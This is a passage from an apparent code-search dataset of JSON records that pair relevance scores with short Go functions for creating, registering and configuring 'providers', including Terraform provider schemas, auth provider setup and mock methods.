IPs\n\t\t\tfunc(user string, r *http.Request) string {\n\t\t\t\treturn user + r.RemoteAddr\n\t\t\t})\n\t}\n\n\tif providersCount == 0 {\n\t\tlog.Printf(\"[WARN] no auth providers defined\")\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "1025607f315d600347b2e4b72a093ca5", "score": "0.5772784", "text": "func (vs *Set) AddFrom(ctx context.Context, vp Provider) error {\n\tif _, exists := vs.providers[vp.Name()]; exists {\n\t\treturn fmt.Errorf(\"failed to add %q: %w\", vp.Name(), errdefs.ErrAlreadyExists)\n\t}\n\tvs.providers[vp.Name()] = vp\n\treturn nil\n}", "title": "" }, { "docid": "247c2e55ae710fcb1ec5c6fa4d30919c", "score": "0.5718739", "text": "func (p *Provider) AddRoutes(systemRouter *mux.Router) {\n\tsystemRouter.\n\t\tMethods(http.MethodPut).\n\t\tPath(\"/api/providers/{provider}\").\n\t\tHandlerFunc(func(response http.ResponseWriter, request *http.Request) {\n\n\t\t\tvars := mux.Vars(request)\n\t\t\t// TODO: Deprecated configuration - Need to be removed in the future\n\t\t\tif vars[\"provider\"] != \"web\" && vars[\"provider\"] != \"rest\" {\n\t\t\t\tresponse.WriteHeader(http.StatusBadRequest)\n\t\t\t\tfmt.Fprint(response, \"Only 'rest' provider can be updated through the REST API\")\n\t\t\t\treturn\n\t\t\t} else if vars[\"provider\"] == \"web\" {\n\t\t\t\tlog.Warn(\"The provider web is deprecated. Please use /rest instead\")\n\t\t\t}\n\n\t\t\tconfiguration := new(types.Configuration)\n\t\t\tbody, _ := ioutil.ReadAll(request.Body)\n\t\t\terr := json.Unmarshal(body, configuration)\n\t\t\tif err == nil {\n\t\t\t\t// TODO: Deprecated configuration - Change to `rest` in the future\n\t\t\t\tp.configurationChan <- types.ConfigMessage{ProviderName: \"web\", Configuration: configuration}\n\t\t\t\terr := templatesRenderer.JSON(response, http.StatusOK, configuration)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Error(err)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tlog.Errorf(\"Error parsing configuration %+v\", err)\n\t\t\t\thttp.Error(response, fmt.Sprintf(\"%+v\", err), http.StatusBadRequest)\n\t\t\t}\n\t\t})\n}", "title": "" }, { "docid": "f04586a5794feb3d6b972635c151f0be", "score": "0.568967", "text": "func NewProvider(log logging.Logger) *Provider {\n\treturn &Provider{\n\t\tapi: &api{},\n\t\tlog: log,\n\t}\n}", "title": "" }, { "docid": "8326d6c84c1285abb2e773fd7c83cc6f", "score": "0.56695694", "text": "func NewProvider(providers *providers, sidetreeConfigProvider sidetreeConfigProvider) *Provider {\n\tlogger.Info(\"Creating Sidetree services provider\")\n\n\treturn &Provider{\n\t\tproviders: providers,\n\t\tsidetreeConfigProvider: sidetreeConfigProvider,\n\t\tchanControllers: make(map[string]*channelController),\n\t}\n}", "title": "" }, { "docid": "32b1616281506f09a098d3fb7c9e2661", "score": "0.5654", "text": "func (r *Runtime) RegisterFsProvider(provider fs.Provider) {\n\tfor _, p := range r.fsProviders {\n\t\tif p == provider {\n\t\t\treturn\n\t\t}\n\t}\n\tr.fsProviders = append(r.fsProviders, provider)\n}", "title": "" }, { "docid": "1cc16599c931be348abdb43de474d4b8", "score": "0.56124914", "text": "func NewProvider(options ...ProviderOption) *Provider {\n\tp := &Provider{\n\t\tlogger: log.NoopLogger{},\n\t}\n\t// Ensure we apply the logger options first, while maintaining the order\n\t// otherwise. This way we can trivially init the internal provider with\n\t// the logger.\n\tsort.SliceStable(options, func(i, j int) bool {\n\t\t_, iIsLogger := options[i].(providerLoggerOption)\n\t\t_, jIsLogger := options[j].(providerLoggerOption)\n\t\treturn iIsLogger && !jIsLogger\n\t})\n\tfor _, o := range options {\n\t\tif o != nil {\n\t\t\to.apply(p)\n\t\t}\n\t}\n\n\t// ensure a provider if none was set\n\t// NOTE: depends on logger being set (see sorting above)\n\tif p.provider == nil {\n\t\t// DetectNodeProvider does not fallback to allow callers to determine\n\t\t// this behavior\n\t\t// However for compatibility if the caller of NewProvider supplied no\n\t\t// option and we autodetect internally, we default to the docker provider\n\t\t// for fallback, to avoid a breaking change for now.\n\t\t// This may change in the future.\n\t\t// TODO: consider breaking this API for earlier errors.\n\t\tproviderOpt, _ := DetectNodeProvider()\n\t\tif providerOpt == nil {\n\t\t\tproviderOpt = ProviderWithDocker()\n\t\t}\n\t\tproviderOpt.apply(p)\n\t}\n\treturn p\n}", "title": "" }, { "docid": "8f54633686aa6505b508020c1a5677fa", "score": "0.5578809", "text": "func Provider(ctx context.Context, cfg Config) (*Zap, func(), error) {\n\treturn newZap(ctx, cfg), func() {}, nil\n}", "title": "" }, { "docid": "f726b53aea5ceb26a8e2ee0393a5a164", "score": "0.55707324", "text": "func (_m *MfaServiceInterface) AddUserProvider(_a0 *models.MfaUserProvider) error {\n\tret := _m.Called(_a0)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(*models.MfaUserProvider) error); ok {\n\t\tr0 = rf(_a0)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "a72f978357023b94a84f71ac04520c42", "score": "0.555423", "text": "func (mr *MockconfigerMockRecorder) AddRemoteProvider(provider, endpoint, path interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"AddRemoteProvider\", reflect.TypeOf((*Mockconfiger)(nil).AddRemoteProvider), provider, endpoint, path)\n}", "title": "" }, { "docid": "d5f40f01f91376026549a75a94890612", "score": "0.5538797", "text": "func (l *Provider) Add(path string) error {\n\terr := l.reader.Add(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tselect {\n\tcase l.syncCh <- struct{}{}:\n\tdefault:\n\t}\n\treturn l.watcher.Add(path)\n}", "title": "" }, { "docid": "e65d38a0e1694c97ab363f7a3b2432cf", "score": "0.5524579", "text": "func WithProviders(p []*Provider) SectionFn {\n\treturn func(m *module) {\n\t\tm.Providers = p\n\t}\n}", "title": "" }, { "docid": "d66be3790641c302b3b9ce13fe2fe567", "score": "0.552324", "text": "func (o *AdminCreateIdentityImportCredentialsOidcProvider) SetProvider(v string) {\n\to.Provider = v\n}", "title": "" }, { "docid": "70c4a8335618e4cc5536d3f1562b22f8", "score": "0.55134606", "text": "func NewProvider(opts *Options) (Provider, error) {\n\tswitch opts.Type {\n\tcase \"github\":\n\t\treturn newGithub(opts)\n\tdefault:\n\t\treturn nil, ErrProviderNotSupported\n\t}\n}", "title": "" }, { "docid": "711ec0db884ea55422506a65fd1a944b", "score": "0.5509766", "text": "func (serv *service) addMethodsFromProvider(provider MethodsProvider) error {\n\tfor name, methodName := range provider.WsMethods() {\n\t\tmethod, ok := serv.servType.MethodByName(methodName)\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"WSMethods(): %s is not a method of %v\", methodName, serv.servType)\n\t\t}\n\n\t\tservMethod, err := newServiceMethod(serv, &method)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tserv.methods[name] = servMethod\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "03ef3711b1443281fe33234a6b29ab5e", "score": "0.5465302", "text": "func NewProvider(microserviceName string) Provider {\n\treturn &DefaultProvider{MicroServiceName: microserviceName}\n}", "title": "" }, { "docid": "08f51882cab08fb7e974d47c27f79184", "score": "0.5459544", "text": "func (m *Manager) Provider(name string) (Provider, error) {\n\tif provider, found := m.providers[name]; found {\n\t\treturn provider, nil\n\t}\n\n\treturn nil, errors.New(\"oauth2 provider not found\")\n}", "title": "" }, { "docid": "d1403c17030e60095116b4cd423b2e5d", "score": "0.5450024", "text": "func (p *Proxy) Provider(in *sts.AssumeRoleInput) *Provider {\n\treturn RenewableProvider(func() (cr aws.Credentials, err error) {\n\t\tout, err := p.Client.AssumeRoleRequest(in).Send()\n\t\tif err == nil {\n\t\t\tcr = FromSTS(out.Credentials)\n\t\t}\n\t\tcr.Source = ProxyProviderName\n\t\treturn\n\t})\n}", "title": "" }, { "docid": "72f721fec79e14ed28ae52019b43dfad", "score": "0.5447427", "text": "func (a *Authenticator) RemoveProvider(name string) error {\n\ta.mu.Lock()\n\tdefer a.mu.Unlock()\n\n\tif _, ok := a.providers[name]; !ok {\n\t\treturn fmt.Errorf(\"provider %q is not configured, could not remove it\", name)\n\t}\n\n\t// Make sure at least two providers are enabled so there's still one remaining\n\tif len(a.providers) == 1 {\n\t\treturn fmt.Errorf(\"provider %q is the only provider configured, could not remove it \", name)\n\t}\n\n\tdelete(a.providers, name)\n\treturn nil\n}", "title": "" }, { "docid": "69be27e93d03e5b01af0990ee6eb4f60", "score": "0.54290485", "text": "func (o *UpdateAuthUserParams) SetProvider(provider *string) {\n\to.Provider = provider\n}", "title": "" }, { "docid": "983832e9551ff32c0f580f417e2ca923", "score": "0.5424335", "text": "func (tuo *TokensUpdateOne) SetProvider(s string) *TokensUpdateOne {\n\ttuo.mutation.SetProvider(s)\n\treturn tuo\n}", "title": "" }, { "docid": "85356f68ba11ca8f1d3c4eccdbe9dac8", "score": "0.5419602", "text": "func NewProvider(configFile string) Provider {\n\tc := new(providerWindows)\n\tc.init(configFile)\n\treturn c\n}", "title": "" }, { "docid": "56c3381a5226fbb8e1b7e587e6f7af54", "score": "0.5419038", "text": "func NewProvider(logger *zap.Logger, clusterProvider provider.ClusterNameProvider) (*Provider, error) {\n\treturn &Provider{\n\t\tlogger: logger,\n\t\tnodeNameProvider: newNodeNameProvider(),\n\t\tclusterNameProvider: clusterProvider,\n\t}, nil\n}", "title": "" }, { "docid": "a57071141ec0d6c66e8dcbfe1f79f47c", "score": "0.54133433", "text": "func (o *NormalizedProjectRevisionThirdPartyProvider) SetProvider(v string) {\n\to.Provider = &v\n}", "title": "" }, { "docid": "71a18bc4e0e8f631112e7aea08ab1ab7", "score": "0.5409418", "text": "func RegisterCloudProvider(cloudType supportedCloudType, iacTypeDefault supportedIacType, iacVersionDefault supportedIacVersion) {\n\tregisterActualCloudProvider(cloudType, iacTypeDefault, iacVersionDefault, false, func() []string {\n\t\treturn []string{filepath.Join(config.GetPolicyRepoPath(), string(cloudType))}\n\t})\n}", "title": "" }, { "docid": "68ddda6a5a4c01797d02d5995eb055c9", "score": "0.5402136", "text": "func InitProvider(name string, configFilePath string) (Provisioner, error) {\n\tvar provider Provisioner\n\n\tif name == \"\" {\n\t\tlogger.Get().Info(\"No providers specified.\")\n\t\treturn nil, nil\n\t}\n\n\tvar err error\n\n\tif configFilePath != \"\" {\n\t\tconfig, err := os.Open(configFilePath)\n\t\tif err != nil {\n\t\t\tlogger.Get().Critical(\"Couldn't open auth provider configuration %s. error: %v\",\n\t\t\t\tconfigFilePath, err)\n\t\t}\n\n\t\tdefer config.Close()\n\t\tprovider, err = GetProvider(name, config)\n\t} else {\n\t\t// Pass explicit nil so providers can actually check for nil. See\n\t\t// \"Why is my nil error value not equal to nil?\" in golang.org/doc/faq.\n\t\tprovider, err = GetProvider(name, nil)\n\t}\n\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not init plugin %s. error: %v\", name, err)\n\t}\n\tif provider == nil {\n\t\treturn nil, fmt.Errorf(\"unknown plugin %s\", name)\n\t}\n\n\treturn provider, nil\n}", "title": "" }, { "docid": "a62e7bb7e13d230d6cb39d3b4572eaf2", "score": "0.54010576", "text": "func NewProvider(api *API, vin string, cache time.Duration) *Provider {\n\timpl := &Provider{\n\t\tstatusG: provider.Cached(func() (Status, error) {\n\t\t\treturn api.Status(vin)\n\t\t}, cache),\n\t\taction: func(action, value string) error {\n\t\t\treturn api.Action(vin, action, value)\n\t\t},\n\t}\n\treturn impl\n}", "title": "" }, { "docid": "5646c4c4786dd504f350ea1b152c354f", "score": "0.5395428", "text": "func NewProvider(remoteAddr string, clientConfig *ssh.ClientConfig, logger *log.Logger) *Provider {\n\treturn &Provider{\n\t\tp: newPool(32, remoteAddr, clientConfig),\n\t}\n}", "title": "" }, { "docid": "64371dc702959da4c8832e16edfc4f31", "score": "0.53843284", "text": "func NewProvider(log logging.Logger) *Provider {\n\treturn &Provider{\n\t\troot: \"/sys\",\n\t\tlog: log,\n\t}\n}", "title": "" }, { "docid": "1dbaf4134b2e22e25589a6855a3e0bf7", "score": "0.53756964", "text": "func (tu *TokensUpdate) SetProvider(s string) *TokensUpdate {\n\ttu.mutation.SetProvider(s)\n\treturn tu\n}", "title": "" }, { "docid": "e4289b78269980f605444ce437bd40cf", "score": "0.53752834", "text": "func Provider() terraform.ResourceProvider {\n\treturn &schema.Provider{\n\t\tSchema: map[string]*schema.Schema{\n\t\t\t\"token\": {\n\t\t\t\tType: schema.TypeString,\n\t\t\t\tRequired: true,\n\t\t\t\tDefaultFunc: schema.EnvDefaultFunc(\"PAGERDUTY_TOKEN\", nil),\n\t\t\t},\n\n\t\t\t\"skip_credentials_validation\": {\n\t\t\t\tType: schema.TypeBool,\n\t\t\t\tOptional: true,\n\t\t\t\tDefault: false,\n\t\t\t},\n\t\t},\n\n\t\tDataSourcesMap: map[string]*schema.Resource{\n\t\t\t\"pagerduty_user\": dataSourcePagerDutyUser(),\n\t\t\t\"pagerduty_schedule\": dataSourcePagerDutySchedule(),\n\t\t\t\"pagerduty_escalation_policy\": dataSourcePagerDutyEscalationPolicy(),\n\t\t\t\"pagerduty_vendor\": dataSourcePagerDutyVendor(),\n\t\t},\n\n\t\tResourcesMap: map[string]*schema.Resource{\n\t\t\t\"pagerduty_addon\": resourcePagerDutyAddon(),\n\t\t\t\"pagerduty_user\": resourcePagerDutyUser(),\n\t\t\t\"pagerduty_team\": resourcePagerDutyTeam(),\n\t\t\t\"pagerduty_service\": resourcePagerDutyService(),\n\t\t\t\"pagerduty_service_integration\": resourcePagerDutyServiceIntegration(),\n\t\t\t\"pagerduty_schedule\": resourcePagerDutySchedule(),\n\t\t\t\"pagerduty_escalation_policy\": resourcePagerDutyEscalationPolicy(),\n\t\t},\n\n\t\tConfigureFunc: providerConfigure,\n\t}\n}", "title": "" }, { "docid": "df3b221635f9a0ea69649eac1906799e", "score": "0.53698933", "text": "func NewProvider(log *util.Logger, identity *Identity, accessTokens AccessTokens, vin string, cache time.Duration) *Provider {\n\timpl := &Provider{\n\t\tlog: log,\n\t\tHelper: request.NewHelper(log),\n\t\taccessTokens: accessTokens,\n\t\tidentity: identity,\n\t}\n\n\timpl.Client.Jar = identity.Client.Jar\n\n\timpl.statusG = provider.NewCached(func() (interface{}, error) {\n\t\treturn impl.status(vin)\n\t}, cache).InterfaceGetter()\n\n\timpl.statusEmobilityG = provider.NewCached(func() (interface{}, error) {\n\t\treturn impl.statusEmobility(vin)\n\t}, cache).InterfaceGetter()\n\n\treturn impl\n}", "title": "" }, { "docid": "d43fc689b4b1c3ca72d5f60bfa2c8917", "score": "0.5366077", "text": "func RegisterGothProvider(provider GothProvider) {\n\tif _, has := gothProviders[provider.Name()]; has {\n\t\tlog.Fatal(\"Duplicate oauth2provider type provided: %s\", provider.Name())\n\t}\n\tgothProviders[provider.Name()] = provider\n}", "title": "" }, { "docid": "4dbc83b205e9a51c5c6dd9f33c5f154e", "score": "0.536378", "text": "func NewProvider() *Provider {\n\tp := new(Provider)\n\tp.Current.isValid = false\n\treturn p\n}", "title": "" }, { "docid": "cef0ac364fad20eb7267805c1307f717", "score": "0.5361279", "text": "func Register(providerType string, creator ProviderCreator) {\n\tprovidersMu.Lock()\n\tdefer providersMu.Unlock()\n\tif _, ok := providers[providerType]; ok {\n\t\tpanic(\"provider \" + providerType + \" registered\")\n\t}\n\tproviders[providerType] = creator\n}", "title": "" }, { "docid": "7b531fee53c5c905705a4a05b8d1db03", "score": "0.53556514", "text": "func NewProvider(interfaces kube.Interfaces, namespaces string, resyncPeriod time.Duration) *Provider {\n\tp := &Provider{\n\t\tresyncPeriod: resyncPeriod,\n\t\tinterfaces: interfaces,\n\t\tnamespaces: strings.Split(namespaces, \",\"),\n\t}\n\n\tp.initKnownAdapters()\n\n\treturn p\n}", "title": "" }, { "docid": "4e6169a48b71ad44be105f627c44abf8", "score": "0.5345519", "text": "func withProviders(providers string) generateFunc {\n\treturn func(g *generator) {\n\t\tg.providers = providers\n\t}\n}", "title": "" }, { "docid": "fe8b58f4766d98994e2f8a694515cef1", "score": "0.5330844", "text": "func (m *Mockconfiger) AddRemoteProvider(provider, endpoint, path string) error {\n\tret := m.ctrl.Call(m, \"AddRemoteProvider\", provider, endpoint, path)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "be34b71c7db274a794fd0727c555b0b6", "score": "0.53288835", "text": "func (r *Injector) RegisterProviders(providers ...Provider) (err error) {\n\tvar unRegistered []Provider\n\n\tdefer func() {\n\t\te := recover()\n\n\t\tif injectErr, ok := e.(Error); ok {\n\t\t\terr = injectErr\n\t\t\treturn\n\t\t}\n\n\t\tif e != nil {\n\t\t\tpanic(e)\n\t\t}\n\t}()\n\n\tfor _, provider := range providers {\n\t\tproviderRegistered := r.registerProvider(provider)\n\n\t\tif !providerRegistered {\n\t\t\tunRegistered = append(unRegistered, provider)\n\t\t}\n\t}\n\n\tif len(unRegistered) == 0 {\n\t\treturn nil\n\t}\n\n\tif len(providers) != len(unRegistered) {\n\t\treturn r.RegisterProviders(unRegistered...)\n\t}\n\n\treturn newCannotRegisterProvidersError(unRegistered)\n}", "title": "" }, { "docid": "afe4c7ebb7717892a52b48ace9fe1094", "score": "0.532298", "text": "func NewProvider(l *logger.Logger) *Provider {\n\treturn &Provider{\n\t\tlogger: l,\n\t}\n}", "title": "" }, { "docid": "4af9be990aeae8d9d1a20cd896de8900", "score": "0.53190494", "text": "func (o *DeleteUserMemberOfMemberOfParams) SetProvider(provider *string) {\n\to.Provider = provider\n}", "title": "" }, { "docid": "26df02a18a71ea0c275d19adb9ac299d", "score": "0.53119814", "text": "func Provider() terraform.ResourceProvider {\n\treturn &schema.Provider{\n\t\tSchema: map[string]*schema.Schema{\n\t\t\t\"username\": &schema.Schema{\n\t\t\t\tType: schema.TypeString,\n\t\t\t\tRequired: true,\n\t\t\t\tDefaultFunc: schema.EnvDefaultFunc(\"USERNAME\", nil),\n\t\t\t\tDescription: \"Username to connect to AD.\",\n\t\t\t},\n\t\t\t\"password\": &schema.Schema{\n\t\t\t\tType: schema.TypeString,\n\t\t\t\tOptional: true,\n\t\t\t\tDefaultFunc: schema.EnvDefaultFunc(\"PASSWORD\", nil),\n\t\t\t\tDescription: \"The password to connect to AD.\",\n\t\t\t},\n\t\t\t\"server\": &schema.Schema{\n\t\t\t\tType: schema.TypeString,\n\t\t\t\tOptional: true,\n\t\t\t\tDefaultFunc: schema.EnvDefaultFunc(\"SERVER\", nil),\n\t\t\t\tDescription: \"The AD server to connect to.\",\n\t\t\t},\n\t\t\t\"cmd\": &schema.Schema{\n\t\t\t\tType: schema.TypeString,\n\t\t\t\tOptional: true,\n\t\t\t\tDefaultFunc: schema.EnvDefaultFunc(\"CMD\", false),\n\t\t\t\tDescription: \"Powershell Command\",\n\t\t\t},\n \"py\": &schema.Schema{\n Type: schema.TypeString,\n Optional: true,\n DefaultFunc: schema.EnvDefaultFunc(\"PY\", false),\n Description: \"Path to the python powershell wrapper file\",\n },\n\t\t},\n\t\tResourcesMap: map[string]*schema.Resource{\n\t\t\t\"pypwsh\": resourcePyPwsh(),\n\t\t},\n\n\t\tConfigureFunc: providerConfigure,\n\t}\n}", "title": "" }, { "docid": "6bbd70f4f94c074e81b6da17423e98e7", "score": "0.52953357", "text": "func NewProvider() provider.InstallProviderInterface {\n\treturn &aksProvider{}\n}", "title": "" }, { "docid": "96074fdfb44f3610cff96f3bc4a8de1e", "score": "0.5291283", "text": "func NewProvider(directBind bool, cfg *Config) auth.Provider {\n\treturn &Provider{\n\t\tdirectBind: directBind,\n\t\tconfig: cfg,\n\t}\n}", "title": "" }, { "docid": "b1f6ac59c57bf1b9ece5307919e37c0a", "score": "0.5287052", "text": "func ProviderEnabled(s string) bool {\n\treturn StringIn(s, config.GetProviders())\n}", "title": "" }, { "docid": "785f793ce93e888953c3cfd2b117be00", "score": "0.5281756", "text": "func NewProvider() (*types.Provider, error) {\n\n\tgcp := types.Provider{}\n\tgcp.Name = providerName\n\n\tgcp.SetLogger(\"logger.log\")\n\n\tcfg := config.GetConfig()\n\n\tcloudStorageManager := newCloudStorageManager(cfg, gcp.LogPath)\n\n\tresourceManagers = map[string]*resource.Manager{\n\t\tcloudStorageManager.Name: &cloudStorageManager,\n\t}\n\n\tgcp.Managers = resourceManagers\n\treturn &gcp, nil\n}", "title": "" }, { "docid": "49c2bcf61c1df674107b7f2d6d3d2b27", "score": "0.5278861", "text": "func RegisterCloudProvider(name string, register RegisterFunc) {\n\tif _, found := providers[name]; found {\n\t\tlog.Fatalf(\"Cloud provider %s is already registered.\", name)\n\t}\n\n\tlog.Infof(\"Registered cloud provider %s.\", name)\n\tproviders[name] = register\n}", "title": "" }, { "docid": "4476dc6312a8bbeec07dc84e7ae3c44d", "score": "0.5278503", "text": "func Provider() terraform.ResourceProvider {\n\treturn &schema.Provider{\n\t\tSchema: map[string]*schema.Schema{\n\t\t\t\"url_pattern\": {\n\t\t\t\tType: schema.TypeString,\n\t\t\t\tOptional: true,\n\t\t\t\tDefaultFunc: schema.EnvDefaultFunc(\"MANIFOLD_URL_PATTERN\", \"\"),\n\t\t\t\tDescription: \"The pattern used for connecting to Manifold's hosts\",\n\t\t\t},\n\t\t\t\"team\": {\n\t\t\t\tType: schema.TypeString,\n\t\t\t\tOptional: true,\n\t\t\t\tDefaultFunc: schema.EnvDefaultFunc(\"MANIFOLD_TEAM\", \"\"),\n\t\t\t\tDescription: \"The team used to connect to the Manifold API\",\n\t\t\t},\n\t\t\t\"api_token\": {\n\t\t\t\tType: schema.TypeString,\n\t\t\t\tOptional: true,\n\t\t\t\tDefaultFunc: schema.EnvDefaultFunc(\"MANIFOLD_API_TOKEN\", \"\"),\n\t\t\t\tDescription: \"API Key to use to connect to the Manifold API\",\n\t\t\t\tSensitive: true,\n\t\t\t},\n\t\t},\n\n\t\tResourcesMap: map[string]*schema.Resource{\n\t\t\t\"manifold_api_token\": resourceManifoldToken(),\n\t\t\t\"manifold_credential\": resourceManifoldCredential(),\n\t\t},\n\n\t\tDataSourcesMap: map[string]*schema.Resource{\n\t\t\t\"manifold_resource\": dataSourceManifoldResource(),\n\t\t\t\"manifold_project\": dataSourceManifoldProject(),\n\t\t\t\"manifold_credential\": dataSourceManifoldCredential(),\n\t\t},\n\n\t\tConfigureFunc: providerConfigure,\n\t}\n}", "title": "" }, { "docid": "9f04d5419950627a2cc32b2ccd7e7ad4", "score": "0.52699864", "text": "func NewProvider(key string, store Store, opts ...OptProvider) *Provider {\n\tcfg := &Provider{\n\t\ttemporality: currentUTC,\n\t\tsignedKey: []byte(key),\n\t\tsignedMethod: jwt.SigningMethodHS256,\n\t\taccessExp: time.Minute * 5,\n\t\tstore: store,\n\t}\n\tfor _, v := range opts {\n\t\tv(cfg)\n\t}\n\treturn cfg\n}", "title": "" }, { "docid": "86e276a7750a834d2338d26dec2a300a", "score": "0.52648443", "text": "func NewProvider(api *API, vid string, cache time.Duration) *Provider {\n\tv := &Provider{\n\t\tapiG: provider.NewCached(func() (interface{}, error) {\n\t\t\treturn api.Status(vid)\n\t\t}, cache).InterfaceGetter(),\n\t}\n\n\treturn v\n}", "title": "" }, { "docid": "4388715f91269e40ec84bcf188ac7e7a", "score": "0.52641076", "text": "func (o *IdentityWithCredentialsOidcConfigProvider) SetProvider(v string) {\n\to.Provider = v\n}", "title": "" }, { "docid": "effd1222a31c1fa637a4e4d48d9e9998", "score": "0.52578866", "text": "func (m *Manager) SetProviders(oidcProviders ...*provider.OIDCProvider) {\n\tm.mu.Lock()\n\tdefer m.mu.Unlock()\n\n\tm.providers = oidcProviders\n\tm.providerHandlers = make(map[string]http.Handler)\n\n\tfor _, incomingProvider := range oidcProviders {\n\t\twellKnownURL := strings.ToLower(incomingProvider.IssuerHost()) + \"/\" + incomingProvider.IssuerPath() + oidc.WellKnownEndpointPath\n\t\tm.providerHandlers[wellKnownURL] = discovery.NewHandler(incomingProvider.Issuer())\n\n\t\tjwksURL := strings.ToLower(incomingProvider.IssuerHost()) + \"/\" + incomingProvider.IssuerPath() + oidc.JWKSEndpointPath\n\t\tm.providerHandlers[jwksURL] = jwks.NewHandler(incomingProvider.Issuer(), m.dynamicJWKSProvider)\n\n\t\tklog.InfoS(\"oidc provider manager added or updated issuer\", \"issuer\", incomingProvider.Issuer())\n\t}\n}", "title": "" }, { "docid": "a30ce07e6896d6916465f8f26f5161e5", "score": "0.52451", "text": "func (ac *AuthorizeCreate) SetProvider(a authorize.Provider) *AuthorizeCreate {\n\tac.mutation.SetProvider(a)\n\treturn ac\n}", "title": "" }, { "docid": "a4543b999a4e96faef4fe6dc38388e08", "score": "0.5241419", "text": "func NewProvider(api *API, user int64, vin string, cache time.Duration) *Provider {\n\timpl := &Provider{\n\t\tstatusG: provider.Cached(func() (StatusResponse, error) {\n\t\t\treturn api.Status(user, vin)\n\t\t}, cache),\n\t}\n\treturn impl\n}", "title": "" }, { "docid": "8e97e6c58c8b0efadebd069bd97f63a4", "score": "0.52399135", "text": "func (o *SyntheticsCIBatchMetadataCI) SetProvider(v SyntheticsCIBatchMetadataProvider) {\n\to.Provider = &v\n}", "title": "" }, { "docid": "78c8b0e1acd02cf1d44695e3e6f1431f", "score": "0.5237242", "text": "func WithProvider(p string) GenerateOption {\n\treturn func(o *GenerateOptions) {\n\t\to.Provider = p\n\t}\n}", "title": "" }, { "docid": "c6e8ff2a508bdddbf04e9a93582e09c5", "score": "0.5236036", "text": "func (o *GetAuthUserParams) SetProvider(provider *string) {\n\to.Provider = provider\n}", "title": "" }, { "docid": "c83f1693db0b45dd3edd1e6847c617c9", "score": "0.52358526", "text": "func NewProvider(underlyingProvider spi.Provider, formatter Formatter) *FormattedProvider {\n\tformattedProvider := &FormattedProvider{\n\t\tprovider: underlyingProvider,\n\t\tformatter: formatter,\n\t\topenStores: make(map[string]*formatStore),\n\t}\n\n\treturn formattedProvider\n}", "title": "" }, { "docid": "48d818818e8e34ad752feaa7de673b39", "score": "0.5227846", "text": "func (_m *MfaServiceInterface) Add(_a0 *models.MfaProvider) error {\n\tret := _m.Called(_a0)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(*models.MfaProvider) error); ok {\n\t\tr0 = rf(_a0)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "a08397cc5de585207b7c2674035bc306", "score": "0.5220322", "text": "func (m *Manager) populateProviders(confs []config.ConfigPair) {\n\tfor i := range confs {\n\t\tc := confs[i]\n\t\tp, err := provider.Create(c.Type, c.Config)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\tcontinue\n\t\t}\n\t\tm.Providers[c.Type] = p\n\t}\n}", "title": "" }, { "docid": "b5b17a2a581a782d56b0e523fe20a660", "score": "0.5210199", "text": "func adaptIdentityProvidersAddRequest(w http.ResponseWriter, r *http.Request, server IdentityProvidersServer) {\n\trequest := &IdentityProvidersAddServerRequest{}\n\terr := readIdentityProvidersAddRequest(request, r)\n\tif err != nil {\n\t\tglog.Errorf(\n\t\t\t\"Can't read request for method '%s' and path '%s': %v\",\n\t\t\tr.Method, r.URL.Path, err,\n\t\t)\n\t\terrors.SendInternalServerError(w, r)\n\t\treturn\n\t}\n\tresponse := &IdentityProvidersAddServerResponse{}\n\tresponse.status = 201\n\terr = server.Add(r.Context(), request, response)\n\tif err != nil {\n\t\tglog.Errorf(\n\t\t\t\"Can't process request for method '%s' and path '%s': %v\",\n\t\t\tr.Method, r.URL.Path, err,\n\t\t)\n\t\terrors.SendInternalServerError(w, r)\n\t\treturn\n\t}\n\terr = writeIdentityProvidersAddResponse(response, w)\n\tif err != nil {\n\t\tglog.Errorf(\n\t\t\t\"Can't write response for method '%s' and path '%s': %v\",\n\t\t\tr.Method, r.URL.Path, err,\n\t\t)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "b8bb672f5f5189cce4a5240094fe1140", "score": "0.5208957", "text": "func NewProvider(values ...interface{}) *Provider {\n\tvalues = append([]interface{}{stat.ErrorKey}, values...)\n\tvar aMap = make(map[interface{}]int)\n\tvar keys = make([]string, len(values))\n\tfor i, item := range values {\n\t\taMap[item] = i\n\t\tkeys[i] = toolbox.AsString(item)\n\t}\n\treturn &Provider{keys: keys, aMap: aMap}\n}", "title": "" }, { "docid": "a8f8f2c75af947b6e56e170c272e51da", "score": "0.52039343", "text": "func NewProvider() provider.InstallProviderInterface {\n\treturn &Kubeadm{\n\t\tGenericProvider: provider.GenericProvider{\n\t\t\tClusterLabels: map[string]string{\n\t\t\t\tconsts.ProviderClusterLabel: providerPrefix,\n\t\t\t},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "c362b22768b25ea9c18310a4d3d621e9", "score": "0.519126", "text": "func Provider() terraform.ResourceProvider {\n return &schema.Provider{\n Schema: map[string]*schema.Schema{\n \"domain_controller\": &schema.Schema{\n Type: schema.TypeString,\n Optional: true,\n DefaultFunc: schema.EnvDefaultFunc(\"DOMAIN_CONTROLLER\", nil),\n Description: \"The AD Domain controller to apply changes to. \",\n },\n },\n ResourcesMap: map[string]*schema.Resource{\n \"windns\": resourceWinDNSRecord(),\n },\n\n ConfigureFunc: providerConfigure,\n }\n}", "title": "" }, { "docid": "19ef34dc9dd2746ca03814959c82cade", "score": "0.5175596", "text": "func NewProvider(ctx context.Context, config map[string]string) (blockstorage.Provider, error) {\n\tazCli, err := NewClient(ctx, config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &AdStorage{azCli: azCli}, nil\n}", "title": "" }, 